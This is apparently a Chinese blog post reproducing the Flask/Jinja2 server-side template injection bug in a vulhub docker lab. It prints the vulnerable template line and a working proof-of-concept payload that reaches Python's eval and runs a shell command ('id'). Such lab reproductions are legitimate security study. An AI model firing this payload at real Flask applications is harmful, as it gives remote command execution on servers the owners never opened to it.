flask/ssti漏洞复现

简介

  flask/ssti漏洞,完整叫法应该是: Flask(Jinja2) 服务端模板注入漏洞(SSTI)。Flask 是一个使用 Python 编写的轻量级 Web 应用框架,Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。Jinja 2是一种面向Python的现代和设计友好的模板语言。

 

1、cd进flask/ssti目录,docker-compose up -d开启ssti环境

2、访问目标环境

 

3、查看网页的app.py源码

 

 重点在于t = Template("Hello" + name)这一行,name可以通过get方法获得且没有任何过滤,个人认为和SQL注入很像

4、页面返回54289,证明存在ssti漏洞(计算233*233表名将name值当做命令来执行)

5、使用vulhub官网的POC

 1 {% for c in [].__class__.__base__.__subclasses__() %}
 2 {% if c.__name__ == 'catch_warnings' %}
 3   {% for b in c.__init__.__globals__.values() %}
 4   {% if b.__class__ == {}.__class__ %}
 5     {% if 'eval' in b.keys() %}
 6       {{ b['eval']('__import__("os").popen("id").read()') }}
 7     {% endif %}
 8   {% endif %}
 9   {% endfor %}
10 {% endif %}
11 {% endfor %}

GID为GroupId,即组ID,用来标识用户组的唯一标识符
UID为UserId,即用户ID,用来标识每个用户的唯一标示符

 

 

 

https://www.jianshu.com/p/a1d6ae580add

posted @ 2021-03-30 17:13  H2OH2OH2O  阅读(1091)  评论(0)    收藏  举报